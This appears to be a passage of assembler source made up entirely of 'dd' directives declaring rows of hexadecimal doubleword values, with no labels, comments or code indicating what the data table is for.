dd 0AA95AB25h, 0D23BE72Eh, 9F6C4C15h, 0FEF58512h, 13BFB990h
dd 0C3C538FEh, 0A015D22Bh, 771B552Dh, 21C38A1Ch, 0B36869FBh
dd 3F33119Ch, 282FEFADh, 52E8D8D9h, 9B9B7E9Fh, 474B63C5h
dd 0A089D17Fh, 602A18EEh, 0A19ECB04h, 0A11A58D1h, 163CCC28h
dd 0E55D08F3h, 0CABA445h, 684B2195h, 387CE544h, 31809FC4h
dd 9D09EAABh, 0E49CAE36h, 0B5F5DE37h, 175EF45h, 0CA4B7DE5h
dd 263C2F0Bh, 0F8ED6719h, 0F721D9C0h, 0B62857E2h, 58E4F39Ch
dd 6B6B718Dh, 0D5056CB0h, 0A237E597h, 0E429FCA1h, 0CDC59F67h
dd 0B8D79C95h, 5509BE17h, 7BF63817h, 0B2F77FC2h, 0EC28D213h
dd 0AD8E69B6h, 2F61BC71h, 0A53F5BC0h, 0D37D0722h, 5D8F15BBh
dd 0F328B0A9h, 9362CAADh, 0BC8A8572h, 1E505F8Dh, 4517B143h
dd 1E56AC03h, 0DABAC643h, 0A36FA9A1h, 8539922Fh, 85D5CE79h
dd 3AC7AB79h, 0CFC2DACFh, 3DE6B5E2h, 0F0B67985h, 534450CFh
dd 37212A81h, 4C404F16h, 305FCBA5h, 70AE34Ah, 0DB372EBDh
dd 0BC013EAEh, 0E1AFD7B0h, 0D91F1863h, 0DDA56D76h, 0CF843EADh
dd 8E641EBEh, 5B7CBE1h, 0FE139184h, 9C022CBBh, 99C3AE9h
dd 0C23C6700h, 0CF211BF1h, 9E880E5Ch, 3948499Dh, 37AA37Eh
dd 0D494FA81h, 95DBE092h, 0FBB73AF0h, 9BD5C86Bh, 0DCF22ADDh
dd 0BA0884D5h, 21C3F4EDh, 7557896Fh, 3CC312A7h, 54CC8D31h
dd 0B4F2D279h, 0FED92E24h, 7EA0BF6Ch, 0C7C4BE89h, 2ECDB4A0h
dd 69C02065h, 0BF42E371h, 0E8170A86h, 15750E87h, 0CB7EEE6Ah
dd 4D97206Eh, 6AD341A1h, 0DC5C6B54h, 0E2F755EAh, 0D5F4A409h
dd 446BC879h, 14B95FF8h, 47534D46h, 0F59F231Fh, 0C6976FDBh
dd 0DD652EDEh, 0CC0A5F2Eh, 948D71DFh, 0A869E28Dh, 0C7CEFE44h
dd 739FF65Ch, 0AABA151Ch, 0A2E60165h, 9232C192h, 161CF8B2h
dd 0EB44EC75h, 563C4572h, 0E35DE3F2h, 625D5D1h, 0D5B2625Fh
dd 8A303279h, 4909DCBDh, 0B74623A1h, 6F5EAD97h, 28AD136Fh
dd 919E7169h, 0FFB06C6Dh, 0E85AE5E0h, 0DAEB9A8h, 38595F7Bh
dd 444C2CA0h, 1E35D17Eh, 5BD31E5h, 0B0193DA8h, 132D74Ah
dd 9F804D6Fh, 0F99F51EAh, 0C44AD348h, 0C96AEA9Eh, 8CBC840Eh
dd 51852834h, 7134262h, 4B1D8100h, 9356A1ADh, 0B72BD556h
dd 0F0C785B1h, 0E76EE4F2h, 1E5B3F9Ch, 5BEE109Dh, 68343A3Dh
dd 7B14747Ch, 8076E5E5h, 0F4734F1Eh, 6B14B7A9h, 5146239Ah
dd 25414819h, 0EB0FE7A5h, 0FBB5CD0Bh, 33199A1Ch, 4509552Bh
dd 7AAA55EEh, 1BAE8B60h, 42B6AA44h, 6B0FEC76h, 0D89977F2h
dd 2C0BCCE3h, 0D0B6E802h, 99A3F960h, 40332350h, 0A14DC427h
dd 0AC0CC7A5h, 8F46E12Ah, 0BFB84DE8h, 5688CF43h, 7F1D9849h
dd 315B7207h, 46E50677h, 449BCE65h, 988DE42Bh, 0EB1B60AEh
dd 0EB1060F2h, 0A3E9B9D0h, 7B135DB2h, 298F6243h, 42980E24h
dd 0C878F2B1h, 0A5293FB1h, 5E4449AAh, 70842B45h, 14BA4060h
dd 40D981B8h, 0DD500635h, 430DD022h, 4357A4A5h, 3B6B46ABh
dd 46CC0E96h, 5B386B5h, 685377CBh, 81432B8Bh, 0E315B4DEh
dd 0F4031DB9h, 6CFB8B97h, 9B58FF27h, 6256E66Fh, 0D01623BCh
dd 0A565E6AEh, 2F4C472Fh, 0C0F2B487h, 6CC9A402h, 0ADAC35A1h
dd 1FBD86B9h, 7225B7FDh, 5A1E564Fh, 97FFC0FCh, 6C6A9DD7h
dd 0B9D4B239h, 0E3029A4Fh, 25205A80h, 1FD58181h, 0DD7B1AB2h
dd 3D10FC49h, 2A0C2E92h, 6D8EBF4Fh, 78F0C563h, 1A79EBE7h
dd 0ACB7AE11h, 606A1958h, 927B517Bh, 6FA8F69Dh, 0D8D934A8h
dd 0F1D448BBh, 42C58DE2h, 5A5055Dh, 562CE5F2h, 2145D078h
dd 3C3E7ECDh, 3005B20Fh, 685401E9h, 28C9A175h, 7975678Fh
dd 8970ECB0h, 0BE564814h, 4BA8CC52h, 0A18D3D08h, 4A8B8CF4h
dd 4796B780h, 0E5DD5F5h, 9E640AD9h, 8BC5EB4Ch, 3AE7EC08h
dd 1DEA1964h, 0B8868D4Bh, 0A97911Dh, 6BCE6CEDh, 18D84579h
dd 0C6E218D2h, 0E0AA6823h, 0BB82D8EBh, 0B580EA1Eh, 362F16FAh
dd 8F8DD5DAh, 9E88F9A2h, 0AD4D3A8Eh, 0B74AA4DDh, 0EBC8C801h
dd 0DD0D2128h, 37F809Bh, 0B459086h, 976F58B5h, 1219EB8Fh
dd 986FE250h, 0A1B5B1C1h, 9A54A132h, 39528B14h, 3B932700h
dd 0DE534B20h, 897B053Fh, 0E57E0739h, 0CA2B0F2Ah, 0A4ED27FFh
dd 1A1DBF66h, 0E334B426h, 0FACAD267h, 0A1A31AD5h, 5A3ABF19h
dd 95EAF678h, 13172CB9h
dd 0C531F598h, 277283FAh, 7B8F2EA5h, 6B20FBD4h, 4D9662F5h
dd 1531731Fh, 0D3151995h, 0A2CA358Fh, 2E8B7E6Fh, 1D28B676h
dd 2C045B3Ah, 4C6FE4B0h, 8E26B743h, 59D41BADh, 0FE196A80h
dd 0D059964Ah, 396292C4h, 8F444EC1h, 0CFD479A4h, 0E99D8002h
dd 9C70C89Fh, 5D81C7C4h, 403478F8h, 0E1B3777Bh, 0B682C99Fh
dd 0B4209FFAh, 0CD8E37BEh, 0AFC330C2h, 92A61524h, 62B8E96h
dd 0A179ABD4h, 0A326D9BEh, 78AB9634h, 0F920F27Eh, 61B30EE4h
dd 97534939h, 8A9D6365h, 0FE137469h, 974D292Dh, 6972806Fh
dd 78DB72C9h, 0F0F77AB9h, 542EEB72h, 3495A0Eh, 629284C4h
dd 171B1D29h, 0A3A763EFh, 84BCD347h, 6C6CB0Fh, 7AAF7E41h
dd 100C8049h, 1C0DB2h, 50A1413h, 54C80CCDh, 300F22EFh
dd 0B41145BCh, 52E05D9Bh, 975AB6BFh, 8BBBE1ACh, 0A466D42Ah
dd 0EB245973h, 313E88E4h, 3675CA0Dh, 94CC2561h, 0A317E4AEh
dd 7E446820h, 132666D5h, 0B3315E65h, 254C568Eh, 4A68F44Dh
dd 1B16950Fh, 787849E4h, 80E45918h, 2245A2E9h, 0E6BCC5F9h
dd 9BE6A14Bh, 0C1B51084h, 0B1336A1Ah, 3184D6A1h, 31A33408h
dd 0D2919022h, 6F5BBD74h, 0E193284h, 0E56AD42Dh, 0A8C40843h
dd 5B0191E4h, 0DA2826F8h, 2BB132FDh, 8314D0BDh, 0A46A8C2Dh
dd 91B7E7A1h, 610501FAh, 2D9A77h, 48CDC56Ah, 2686FC76h
dd 0C113A23Bh, 68CDA0Fh, 0F9065375h, 0C36A4BDEh, 3902546Ah
dd 0DF14FE23h, 0A5849A18h, 439885CFh, 0DA1A7510h, 241C3F94h
dd 0B9FB2A0Fh, 0E1B4B110h, 458BBE1Ch, 0DEE7F0C9h, 0EDA0B051h
dd 80CD0506h, 1A9ACD60h, 1B5A15E7h, 0BB2C2D2Ah, 0D2BF0700h
dd 5BC21FCAh, 65994125h, 9667C66Fh, 0B3BF085Dh, 0A403FA14h
dd 3642CD8Bh, 0B02D9D38h, 9B2B2E2Ah, 762FE565h, 0A12F65C5h
dd 1205B2B2h, 961364A9h, 0DFC66CA8h, 0CA343E0h, 89BB4592h
dd 0B5888ECBh, 2F4F90F5h, 0F5F54456h, 79D24E49h, 0A8D9A747h
dd 360269C1h, 80302EAFh, 78D2B717h, 190AC6B6h, 10DF0346h
dd 8BF1D0D4h, 0B5461F7h, 6C0B8FE8h, 0DB907C25h, 0AC22B096h
dd 0A0629D43h, 0EAC8A420h, 0E03D8B5Dh, 0E81EB4D9h, 0C3DA3C94h
dd 8CCC5E89h, 0ABF28A9h, 6FA6FA92h, 0D5BDD13Dh, 50288449h
dd 43B22B30h, 94B4FED5h, 546EDF1Ah, 71813F60h, 72C9F016h
dd 8B568502h, 0AC541CA5h, 931270DFh, 0B12201E5h, 0C9F388C4h
dd 64DBF634h, 8AAD780Eh, 1CFE75A6h, 710F2FF5h, 9097C27Fh
dd 94F6A667h, 71FBF613h, 3C84AD6Eh, 492F1EADh, 2523379Dh
dd 2676EA4Eh, 705C663Bh, 5920C58Dh, 0A07257B1h, 0C5AD60F6h
dd 7F8EED00h, 0C64F3318h, 0A21AE8E6h, 525A0DEAh, 98EEA0E3h
dd 1B421009h, 0C1A481F4h, 4B6C83BEh, 0B866EBD7h, 22F55B28h
dd 6DD16643h, 6C8607C5h, 23B175C5h, 0BBD11CC9h, 0B9766C18h
dd 0A7AD5079h, 14D825F9h, 80D85F9Ah, 916FC65Dh, 2936CEADh
dd 2CE19283h, 0CC4A7F84h, 99A579F8h, 0CC9EC172h, 0AB91C3D0h
dd 0A9468559h, 34655A7Fh, 9BAADB38h, 0A488B013h, 0CD309A07h
dd 7A9E23CBh, 0D11AEA31h, 0CF3826D6h, 8E4F29A0h, 0BDBA5FB3h
dd 3B956024h, 8ED0875h, 843A3BE1h, 5D70841Eh, 848FB53h
dd 0C961043Dh, 190830h, 0DF151A41h, 70A168EDh, 9865259Ah
dd 3D23CDC5h, 0DE47F639h, 9513801Ch, 8F56E2DFh, 0CC5E4F3Fh
dd 0BCAED12Dh, 32E76E6Ah, 7A29684Ah, 14D4426Dh, 75D1DB4Fh
dd 0E7471CBBh, 26436F6Dh, 35766325h, 0B3BA9390h, 97AB0B48h
dd 402136B7h, 44888D96h, 0B6CE8D4Ah, 56C8D315h, 26CED1B2h
dd 0D827DB2Ch, 0B898EE27h, 7F1EF1D7h, 6C2DC68Eh, 0A35893DDh
dd 6772BDE3h, 898B929Bh, 62C9FFCBh, 0BFD37CE4h, 3FCDCB4Ah
dd 0F4206181h, 0C5D96C7Dh, 0F833710Eh, 4C9C0626h, 9A4DAB5Fh
dd 9F337E2h, 0FCCC0B77h, 0C49E07A6h, 23F8166Dh, 75A194B7h
dd 0B991F774h, 0EEE45223h, 0DF4E3C38h, 0FB6AD0E9h, 269AD1C5h
dd 62DF079Bh, 2A67B201h, 1B785099h, 8532E674h, 2A132AFEh
dd 0B341A13Bh, 0E6D6854Bh, 6914F079h, 254F1540h, 95A985DBh
dd 62EC94ABh, 2D5F287Ch, 3B4B9B44h, 0EAD84691h, 0B672F771h
dd 0B843EADBh, 37C6983Bh, 0B5949DFh, 0EC947784h, 0C42C7A72h
dd 98F445C7h, 0E0738F8Fh, 84D85E31h, 96267090h, 42337962h
dd 834FD5B3h, 400226E7h, 0DAA0F0B9h, 2A53BF59h, 0B6ECCB67h
dd 0F2B0F6D7h, 0ECE6211Ch, 0B2996158h, 18FFE59Bh, 404C953Eh
dd 0F1C7B620h, 264AD8Ah, 3F6C7881h, 23220AB7h, 0FBF96A0Bh
dd 3765DFA4h, 9A1D2B48h, 0CAC5D812h, 0CE78E0F3h, 22670EC4h
dd 0DA53C50h, 0ECF57DBDh, 15FA1418h, 0E1135B79h, 982F5A6Bh
dd 37482BB1h, 0DC4AFD70h, 6B2DC316h, 4635912Ch, 298F1D28h
dd 0AA3C4772h, 2C30DCE7h, 4E7A63E7h, 0A516B85Bh, 0DB5ED844h
dd 0F155A66Bh, 229F4722h, 0E5973BB7h, 0DC5522D9h, 0D5B9FAFBh
dd 8F1D590Ch, 0C65B164Bh, 0EBF2CFDBh, 4CA173BAh, 6EA04005h
dd 5AC6BF89h, 31431681h, 0C38A1DE1h, 0F1364514h, 0C70B5B3Ch
dd 0BF0462B9h, 7E704531h, 0A271DDCDh, 4A95C358h, 4EA27854h
dd 0C514C839h, 7EA02E4Ah, 4A879A8Fh, 6B464060h, 0B4A7275h
dd 5DB3B87Ch, 0EFB338F2h, 0CD26B984h, 26CFFCE7h, 79E104CEh
dd 8D9C0DF6h, 0A316157Dh, 51DEC594h, 0C896AB3h, 77E3C2E6h
dd 62614326h, 5B261C50h, 0B2916889h, 9ADC3143h, 0C8365F43h
dd 0B317C6EFh, 79B8A695h, 0E893BB53h, 0F4842B9Dh, 18160EEEh
dd 526B0DA8h, 8D73AD7Ah, 49393E29h, 0C8F9C8A3h, 158EEACDh
dd 0E461C8C9h, 917A85E9h, 42CA4B7Bh, 7E4000C0h, 2AC19E2Bh
dd 5B26A6D0h, 0A522A237h, 0DCFD6AF3h, 0A884D9E0h, 0BB528EC2h
dd 4BE85894h, 0FC7BF1E0h, 0AD84D2D1h, 0CADE5C5Bh, 0F87AB6FFh
dd 0EED1294Dh, 2CB1EA1Eh, 0E1E10EF2h, 5BBB968Bh, 0A70B1F6Fh
dd 2B010FFFh, 8F4DAC37h, 7F0B7517h, 0BABB2C00h, 742CDD0Eh
dd 7865EADAh, 0DA356BE9h, 43C00FC2h, 6085136Dh, 0C255AF2Dh
dd 0F84D49C5h, 7C26BA99h, 97B89284h, 45FDD15h, 8AF94A4Fh
dd 979E3D0h, 91E9E373h, 884BF137h, 1520C186h, 98B048D3h
dd 2C3BCD36h, 8D1E7930h, 0AE3DCE87h, 9D738FBAh, 0C1D0D247h
dd 2BCE15B1h, 0FE6E0038h, 9C1BEB31h, 974ADCB5h, 9324A542h
dd 26573D29h, 32650F33h, 20881592h, 0E85B2CACh, 40AE3499h
dd 0D5B86529h, 105E919Fh, 2AD08F92h, 0AC7B68C9h, 4150CF0Eh
dd 52E2843Ch, 426F015Fh, 0AEE22ABh, 0CB7D42ADh, 57B8D2FBh
dd 8E2B0B57h, 0D4E18A44h, 8B659C2Eh, 258D42ECh, 8E97B4B4h
dd 0A54E81B1h, 606587A6h, 9A46CDD1h, 1430687Ah, 0E01AAA5Ah
dd 91199864h, 1AB0692Ch, 366A3F6Dh, 5053F3F2h, 415324CAh
dd 57E35445h, 0F1813CD2h, 0BC37C559h, 159AEA30h, 0B18C4303h
dd 9382AEB6h, 0EA30EF2Ah, 0B2EE452Eh, 0C3853D5h, 3070638h
dd 2878301Ah, 69DE1D8Ah, 3BC9BFB3h, 30FDCF0Dh, 0F4B4353h
dd 0C520D01Bh, 69107F56h, 48354072h, 2AD7B6D9h, 6AA2254Ch
dd 0F16A275Bh, 0C93DA1EBh, 0CAF00033h, 4E1EFA5Fh, 531E62D5h
dd 7BBD43AFh, 722A5939h, 0A88365D9h, 3E529561h, 0A4132176h
dd 0C585672Ch, 8510C616h, 4A3C3371h, 59936097h, 4A861585h
dd 5CC30F13h, 7DC71FEh, 3AD66FC7h, 8909EC45h, 91345309h
dd 789918A6h, 53082598h, 0F1D5EDE0h, 8EAFB093h, 0F39D1EB1h
dd 14663A36h, 264C4F43h, 8CBA45BEh, 30B7A8B7h, 0CEF38999h
dd 9898998h, 9D02C904h
dd 4CA429A8h, 0E9E4C443h, 890AEE4Ch, 6F4CE0C7h, 0C9828E85h
dd 0EF741522h, 99A2F21h, 0AA94CEF6h, 34E9E89Eh, 93E724E0h
dd 0FD3431h, 2C135690h, 0EEBE186Ch, 453D515Bh, 5BEEDECh
dd 0E9A94EFEh, 61804E81h, 2B4D9E8Eh, 42D21311h, 284D8A76h
dd 8176813Ch, 0E5B4E007h, 183C5BF2h, 163DE6C7h, 7840C1E8h
dd 5CAE8405h, 2F06A7C8h, 0AC4AACE9h, 985984B8h, 90EA84CBh
dd 8FCE5750h, 0F962629Ch, 941724C7h, 0F7B1400Fh, 96AECC18h
dd 0A31CE49Ch, 26DD5B0Bh, 0E458F882h, 9D8E3DCCh, 6E1DFC64h
dd 9D9A3959h, 7A597E70h, 316036F0h, 7BCB1D9Ch, 0BE15AE59h
dd 0DD92DF3Bh, 4EC9DE1h, 110AAE3Fh, 6B66D8D3h, 0FF1ABCF2h
dd 0ED031C2Eh, 92D579FAh, 87DAAF3Ch, 0FA2D579Fh, 0C815F579h
dd 0F356B54Ah, 3AD2956Ah, 16723E8Dh, 5CD13D0Dh, 9E5AACECh
dd 0C4C6AB3Ah, 0A36046C3h, 34BAEA3Ch, 0AC95B432h, 0C7C1551Eh
dd 713C02EEh, 775724A2h, 85DE41D4h, 0FC9089CAh, 0E352692Bh
dd 9C49E7E1h, 25227FFFh, 61053C06h, 537BF69Ch, 0EA5C902Eh
dd 0FFA78083h, 0D38DFD1Eh, 25F5D417h, 56CE2BC7h, 3F9CA8A9h
dd 8EE9E436h, 2723F459h, 96DF27D1h, 55FEE479h, 0C6153B2Fh
dd 4B1C1F8Ch, 86F92AA8h, 0F71968Bh, 0EB418DCFh, 0DC471B46h
dd 275307F6h, 0E7EFBA5Bh, 8BBC1C27h, 15A423Dh, 6A1A7F6Eh
dd 19F1A382h, 7AE851EBh, 8DD5F88Eh, 479357FAh, 0B7230137h
dd 951F0850h, 46F09518h, 2CA89F54h, 895DA15h, 11D5125Dh
dd 42DE137Fh, 83DC4617h, 0AE48CBD4h, 0EA0D8C28h, 9041E063h
dd 8C72DFF1h, 4895FF4Ah, 13F0364h, 4B0B11A3h, 6DE26F28h
dd 0DF8979Ch, 0E2F3E529h, 0D1EC491Bh, 306DA6FBh, 857EE5B9h
dd 7D9F5764h, 86855907h, 0ABDAC39Ah, 98DB8A08h, 0DAEA57E9h
dd 0A3C474ABh, 0C39AE2E7h, 67E2A4D2h, 0DB5F700Eh, 0C3029DD8h
dd 4F6803E0h, 221D1F12h, 97BA72A4h, 4D19E868h, 98BEBB11h
dd 0D603400Dh, 0A3B75685h, 0B0EEC3C5h, 0DDAF6D78h, 0AADE1E9Eh
dd 16575954h, 0C8D6E5B0h, 292B2B7Ch, 67965809h, 0E101EAB2h
dd 658D4960h, 143CBDB9h, 0AD14EC9Dh, 0E0F08FCBh, 5311AD64h
dd 0B18D6230h, 299CB139h, 9A42ACB3h, 47E25A20h, 7D344F75h
dd 0EA1A6C5Fh, 2E8A899Fh, 67DEBC9h, 7870FDB4h, 94EF74BFh
dd 81DF6E83h, 82ED7479h, 0CC315501h, 0ED279E22h, 79B6DF6Eh
dd 894C8F02h, 9609E75Dh, 0B289D3DDh, 837ED1FBh, 0EFD49F0Fh
dd 884712FEh, 8DFE819Eh, 0AD72DF70h, 0BF42657Ah, 931BB7Dh
dd 64E0225Ch, 928705Dh, 0D1C3BE3Ah, 82FCEF12h, 0E7805B2Eh
dd 5C8E743Ch, 5569268Dh, 7EF7EA03h, 46C1A83Dh, 0E6083463h
dd 0B5853069h, 44ADAD8Eh, 3B5CB5E9h, 8B73121Dh, 4B68F8F1h
dd 6773199Eh, 20F89FC0h, 0C5A33D97h, 0E87030DDh, 12D8FA2Ch
dd 0EBFF9A04h, 1ED83B94h, 35631E26h, 4FAAB31Fh, 0FFE3C2D8h
dd 20F081B8h, 39FF1B99h, 61BE0301h, 53C6CDCBh, 2C9B975Ah
dd 7540DF5Eh, 0CED9F2D4h, 0DDCCF956h, 10BC66E7h, 933F2FFEh
dd 0C754BFC2h, 1AD942FFh, 12E1B287h, 2CA96CC4h, 54E4FD7Ah
dd 3F78661Eh, 0E68C0F2Eh, 0F1714F2Bh, 2B85E5EDh, 9804C8D0h
dd 5F5E2F27h, 74F11D6Bh, 83D5445Dh, 912FBFCAh, 52DD598Fh
dd 26640931h, 320227AEh, 50E46FD5h, 0EE5081BEh, 0FCA50919h
dd 0ED4A1244h, 0D6292870h, 894EEC95h, 6BAF542Dh, 75A9064Dh
dd 0A67E77A9h, 4A1945Fh, 0D9C17917h, 0F8679C29h, 0A77578D3h
dd 7B716026h, 63C9BDD3h, 564BE414h, 0ED55273Bh, 0B5794FF1h
dd 424DC424h, 0D043680Bh, 79ED0E04h, 177DDA1Dh, 82995680h
dd 1A1C34D6h, 459D7589h, 0E57BE0C8h, 0FA71108Ch, 2C86EA9Ah
dd 0A4991ECEh, 899BE5C2h, 7D577D69h, 699D2EF9h, 0C8DD577Dh
dd 0F120A11Fh, 137E9DE4h, 0B5035E24h, 0DDE0F937h, 2875D433h
dd 16764A34h, 65633B7Ah, 0A0C2BDC8h, 4732FAA2h, 0DCA5D9FAh
dd 0C5BA462Eh, 0BF7EDEADh, 0F3101F51h, 0FC40E255h, 0BED94ECBh
dd 0FFC2B33Ch, 680F22B0h, 9237E27Bh, 375AFE8Ch, 0F729B452h
dd 3CA415A3h, 7F1F1D50h, 0BC2DCB2Fh, 0BD0F64D9h, 822A5F75h
dd 6613B695h, 7EF1D7D4h, 0BF432523h, 64F6ED48h, 6E6E25EDh
dd 0FAAC38FAh, 3F56475Bh, 0CEBFAA8Dh, 91AD643Dh, 17F27FAAh
dd 0ECD68FD7h, 0D2C901FFh, 1EE1E772h, 473E1E25h, 5F0F1C5h
dd 0FFD71C55h, 0FF5D1047h, 0BE96C405h, 475575CFh, 0CB4D3554h
dd 0D520045Dh, 6621F0C5h, 51A50146h, 0EC336B7Dh, 0D02BC310h
dd 39D088A5h, 39D92D3h, 11F5F2DDh, 0D30B6879h, 0FC9DD829h
dd 4618758Ah, 0FFD550B8h, 87CA8639h, 8F2A50BAh, 2A4ABF4Bh
dd 2505924Ch, 9960F753h, 61F8D695h, 8D9077F5h, 0BF21FF47h
dd 0A5F2162Ah, 0D4389E47h, 8B099BC9h, 0CE2C4919h, 4E8B1F1Fh
dd 0F15B1D47h, 2EB6C3E2h, 0E56D18DAh, 42F7CCC6h, 0ACD96EAAh
dd 39EDC58Eh, 0CB4697E9h, 0C13F0FBDh, 0F354E91h, 964AF0C7h
dd 68539CEEh, 0D688CC91h, 587E5D71h, 0E1F9471Eh, 0B1985AB8h
dd 3CF067EAh, 540F45BDh, 77BB2A14h, 57306E2Fh, 1DD854F8h
dd 1C1CE028h, 51319A9Eh, 41F26CCEh, 0F1ECF40Dh, 5D1170Eh
dd 47B82697h, 0ABC0B52Eh, 9432C169h, 0B1E419C7h, 499E627Dh
dd 0D7C9C2B6h, 33CAAA12h, 3184C4C5h, 43900E22h, 0BBA2738Fh
dd 0AF6AB41h, 0D926D85Ch, 0C06B7EE8h, 271EBEA3h, 7CC4C55Ah
dd 55638D34h, 3BC58A03h, 0F5BDDC64h, 0A7D3CADh, 0C26C5E77h
dd 1F9A1D4Dh, 0C4558274h, 23F8A82Dh, 4FACE01Eh, 26232755h
dd 0E451E847h, 1835A1C3h, 597D9E45h, 78A17408h, 0C01C3164h
dd 0E9A94BAh, 0FF49763Ch, 3C9563A6h, 9755589h, 0CEF50551h
dd 9DB114D2h, 6CFD3FDCh, 0C8779729h, 46D02616h, 0FD70257Bh
dd 0FF188E50h, 0D816F15Dh, 0DA2FD558h, 3C4FA158h, 0E7155A2Eh
dd 0BF62C198h, 1742703Ch, 3BA84A42h, 0CFD1EAFh, 34B55C89h
dd 3CD24C9Ah, 0E91F93EAh, 0EA90547Dh, 0BEFB9423h, 2B206F95h
dd 46DA8B5Bh, 0A82E4433h, 0BA07396Fh, 27B34994h, 3E2F25B4h
dd 0DDC26A8Ah, 0E41786ADh, 0D1C7885Bh, 2A3D61B7h, 0D61B1476h
dd 0AC5A8564h, 26286515h, 3753DD5Eh, 9CBCDB88h, 73F137E9h
dd 9874BC7Fh, 0EB5C957Ch, 0B1DBEE8h, 0DD2E29h, 688FE6E9h
dd 0A2CECE96h, 0E072036Bh, 0BAC47573h, 79185432h, 0BED90365h
dd 6552B045h, 0DA43416h, 0B64374B7h, 0C87F0FE1h, 54F65924h
dd 3FC6CB2Eh, 0CEAA68F2h, 542EAC93h, 8347D286h, 0D451AB94h
dd 5525B23h, 0C58BB70Fh, 0C5968EADh, 0A99F5643h, 72FE8130h
dd 0A688070Ah, 0F64F0DF7h, 0CE81C1D2h, 2AC03C0Bh, 0D93E8BAAh
dd 0C7F57493h, 0E2DC1F45h, 76584D93h, 135EE922h, 0A7AE918Bh
dd 785D8F0Bh, 7DD0CE16h, 3DC24675h, 4D8AFFA4h, 909F0FA6h
dd 634A0E4Ch, 5EF69A7h, 0BE47BD6Fh, 0F1A8F829h, 0A84A791Eh
dd 0F7FCD2Dh, 13C804ECh, 0BC787B6Ah, 393416ECh, 0FE875141h
dd 0E5E2268Eh, 0A12082F1h, 4FEB933Bh, 83ECDF04h, 44787B97h
dd 0B51848CFh, 0C41123ABh, 59344A68h, 406BD27Dh, 15AE3AEEh
dd 7EF55309h, 49E89656h, 527A8ADAh, 2228F639h, 6C70CB0h
dd 0C6151A78h, 0C180693Dh, 0E843461h, 0D2012F63h, 5C39E361h
dd 0FB3C70BCh, 0C2525ADCh, 0A3CA5316h, 7D56D6C8h, 39F0DE2Ah
dd 1E71F153h, 8A9F449Fh, 153E09D2h, 0D365436Bh, 0E390D376h
dd 0BE43E19Fh, 3C7FC4EAh, 682D93E4h, 368B9663h, 26CF6EB1h
dd 0B2F561D4h, 27C238EDh
dd 428D6A31h, 547F0C43h, 0FF1FA9DDh, 36FE91F6h, 0A983D872h
dd 2342C761h, 1A96DD87h, 1D1DB276h, 91BEF61Ah, 67BFEEC3h
dd 86496D51h, 992DA8ECh, 0F5F269Bh, 305C274h, 0C9A5968Fh
dd 608A681h, 86C3692Dh, 95877D1Eh, 0AAAFC797h, 33CE110Dh
dd 0DAF05079h, 0C10BF212h, 0C2464DE3h, 8B76787Dh, 0A2535E20h
dd 2468523Bh, 0D9F73207h, 1ABFC3E1h, 0ECEE11DBh, 34D4311Fh
dd 79A75DFCh, 0BD7FB71Ah, 7177F0D0h, 8C2C5FADh, 16B23FC3h
dd 9F8645D3h, 0F77D6AB6h, 2EF0A9C5h, 0A6855385h, 5559C73Dh
dd 64250B35h, 3B5509C4h, 0B71EB3F6h, 0F6D16352h, 8CAC6644h
dd 0F92B491Eh, 4783D235h, 0C074FEADh, 5BA066B1h, 63D81941h
dd 4D82B48h, 1613CBCh, 4BC6CB3Bh, 0F2EB6717h, 0B14E48B2h
dd 9B8AC773h, 9C3AC831h, 0A99CF111h, 0DD0375FDh, 5F7FA0D4h
dd 16C39556h, 0A55BC25Ah, 0E0C6534h, 19BA9A0Dh, 0BAA0867Fh
dd 0D61EE651h, 87BD8F6Ch, 2BAD2E5Ah, 0E9D2996Eh, 8D22BB3Ch
dd 78D9641Dh, 0DA16E323h, 0FD4CFF51h, 60D1B178h, 7F1AB1ACh
dd 2473D54Dh, 0DAE86EA8h, 358D6729h, 0DA810416h, 6F172CB9h
dd 0AD6F9C7Eh, 74A63B8h, 1141C7DBh, 0FB970952h, 0F370A41Ch
dd 0AE8ECE00h, 2555956h, 8D5954C0h, 0C6D0443Fh, 3AF0CB2Ah
dd 62CADAC2h, 0F4C57467h, 2F6CED29h, 1526E887h, 2FFEF51Bh
dd 0C69A4AC6h, 4CB57172h, 387610E9h, 634CACCFh, 5E2E5867h
dd 0ECA778DAh, 86BE3A10h, 9022C640h, 52F0AF4Dh, 898580C6h
dd 92BE4428h, 4B145955h, 7DBCEF3Ch, 3F3229E9h, 2BB24818h
dd 0D9608639h, 0A59D4875h, 8C98C431h, 0B41D59D7h, 84FD435Eh
dd 48F5C342h, 631775C5h, 0F8665094h, 0C3B20183h, 32934D1Fh
dd 24B3F0CBh, 695A5A38h, 0DC1C84BBh, 9F674E9Ch, 9A9A5980h
dd 62469664h, 0CA6B8232h, 48FF7031h, 4DBEA538h, 0FCD5212Ah
dd 0D8D58B9Ah, 0A0F39A1Dh, 84E25E94h, 105277C1h, 38C1F411h
dd 0A71ABCA3h, 629A26D8h, 583D17B4h, 7DE1C812h, 68999B28h
dd 287E78Dh, 12E94639h, 0F934DF8h, 0BF1EE5D2h, 2A212E8h
dd 0B205FBDEh, 0BD52217Dh, 93709DA5h, 56FE2E93h, 576EBCD8h
dd 91EB8C72h, 0F18025D3h, 10FB23B1h, 3B850CBFh, 7F89724Fh
dd 0FC5BE419h, 957A5278h, 1F24B404h, 0F7312D5Eh, 39C79F05h
dd 0DD0E7692h, 0BEE1C2DEh, 80B0B444h, 27C52E55h, 25E45CBBh
dd 0FF086A17h, 24FAAF3Ah, 0F2A6186Eh, 0A646986Ah, 84417630h
dd 57B181FFh, 0F093798Ah, 1CFE35B4h, 0CC5C1D17h, 91EC2163h
dd 691EB4Ch, 8A467CCFh, 8A691E99h, 0D603AA5Ah, 0CEC1CACh
dd 6B6723FAh, 0DB07752Bh, 5416F9A1h, 518F8E04h, 0C8A67CEDh
dd 0FD17427h, 0EADCCC1Eh, 0D69A439Ch, 0F4EBFC84h, 0DE3C61FDh
dd 88F39C59h, 0E072D83h, 0CA3E5636h, 3AA317F8h, 0EFD4B217h
dd 0DCEB4697h, 0EBD57026h, 0B1AD34BBh, 0E8EE6EF5h, 539D01E7h
dd 2662F3A2h, 381B9D67h, 82DB4CEBh, 48A42D05h, 9E9B78A6h
dd 2050E6F3h, 254D20DFh, 324125A6h, 0A17F1DC1h, 7209B768h
dd 0E27C3ECCh, 0C8ABD479h, 886FD4C0h, 666CE7ABh, 4B8E2E1Eh
dd 4C7CA7F2h, 2AF00E0Fh, 81EE6C16h, 0B1F47431h, 41B160B6h
dd 5ECAA602h, 29B19741h, 0C93B2AA6h, 7454E154h, 0C50B6812h
